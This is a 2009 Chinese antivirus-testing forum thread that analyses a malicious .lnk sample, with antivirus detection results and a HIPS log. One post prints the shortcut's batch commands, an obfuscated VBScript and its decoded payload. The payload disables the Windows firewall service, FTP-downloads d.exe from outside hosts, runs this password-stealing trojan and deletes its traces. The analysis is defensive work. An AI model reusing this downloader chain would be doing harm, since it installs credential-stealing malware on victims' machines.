新 正咩.lnk 測試看看! miss主流

benq80282

檔案 正咩2.rar
接收於 2009.11.12 01:14:38 (UTC)
當前狀態:  完成
結果: 4/41 (9.76%)

http://www.virustotal.com/zh-tw/analisis/8827745d938d92b121364f1156cfbcc1e2ef9715559bc5c729c34615e3d2393b-1257988478

will

lnk内容：

1. 
   
2. echo o g03z.com>x
   
3. echo aa33>>x
   
4. echo bb33>>x
   
5. echo get r r.vbs>>x
   
6. echo by>>x
   
7. ftp -s:x
   
8. start r.vbs
   

复制代码

r.vbs内容：

1. 
   
2. function m
   
3. for i=1 to UBound(v)
   
4. h=h&chr(v(i)-632)
   
5. next
   
6. Set kk = CreateObject("Wscript.Shell")
   
7. kk.run h,0
   
8. end function
   
9. v=array(645,731,741,732,664,679,731,664,742,733,748,664,747,748,743,744,664,747,736,729,746,733,732,729,731,731,733,747,747,670,733,731,736,743,664,743,664,748,734,748,734,748,678,742,733,748,694,741,678,748,752,748,670,733,731,736,743,664,729,729,683,683,694,694,741,678,748,752,748,670,733,731,736,743,664,730,730,683,683,694,694,741,678,748,752,748,670,733,731,736,743,664,735,733,748,664,732,664,732,678,733,752,733,694,694,741,678,748,752,748,670,733,731,736,743,664,730,753,733,694,694,741,678,748,752,748,670,734,748,744,664,677,747,690,741,678,748,752,748,670,732,733,740,664,741,678,748,752,748,670,732,678,733,752,733,670,729,748,748,746,737,730,664,695,678,750,730,747,664,677,746,670,732,733,740,664,695,664,695,678,730,729,748,664,695,678,750,730,747,664,695,678,733,752,733,670,670,747,748,729,746,748,664,736,748,748,744,690,679,679,748,751,678,741,729,748,731,736,678,753,729,736,743,743,678,731,743,741,679)
   
10. m
    

复制代码

显然这个vbs加密了，解密后得到：
cmd /c

1. 
   
2. net stop sharedaccess
   
3. echo o tftft.net>m.txt
   
4. echo aa33>>m.txt
   
5. echo bb33>>m.txt
   
6. echo get d d.exe>>m.txt
   
7. echo bye>>m.txt
   
8. ftp -s:m.txt
   
9. del m.txt
   
10. d.exe
    
11. attrib ?.vbs -r
    
12. del ? ?.bat ?.vbs ?.exe
    
13. start http://tw.match.yahoo.com/
    

复制代码

d.exe

F-Secure AV 2010

结果: 找到 3 恶意软件
Trojan.Generic.2640509 (病毒)
    * C:\Documents and Settings\Administrator\桌面\Test\正咩2\d.exe\ins.exe

Trojan.Generic.2632655 (病毒)
    * C:\Documents and Settings\Administrator\桌面\Test\正咩2\d.exe\ins1.exe

Dropped:Trojan.Generic.2640509 (病毒)
    * C:\Documents and Settings\Administrator\桌面\Test\正咩2\d.exe

Avira AntiVir
C:\Documents and Settings\Administrator\桌面\Test\正咩2\d.exe
    [DETECTION] Contains recognition pattern of the DR/PSW.Online.all dropper
    --> ins.exe
      [DETECTION] Is the TR/PSW.OnLineGa.cbc Trojan
    --> ins1.exe
      [DETECTION] Is the TR/PSW.OnLineGa.cbd Trojan

[ 本帖最后由 will 于 2009-11-12 09:40 编辑 ]

hddu

2009-11-12 09:37:38    创建文件      操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\H
触发规则:应用程序规则->系统程序->%windir%\system32\cmd.exe->%SystemDrive%\*

水晶

好像在哪见过这毒- -对了。毒霸样本区见过- -当时我下下来侧了一下 过毒霸的。

fengtaks

to PA / VB

xjb114

小A5.0

BitDefender

lf968

filename: d.exe

virusname: Trojan-PWS.Win32.Maran
suggestion: Save & Delete
signatureId: 854786

hjl27

to avira

lihaohoney

ESS4.0又pass了……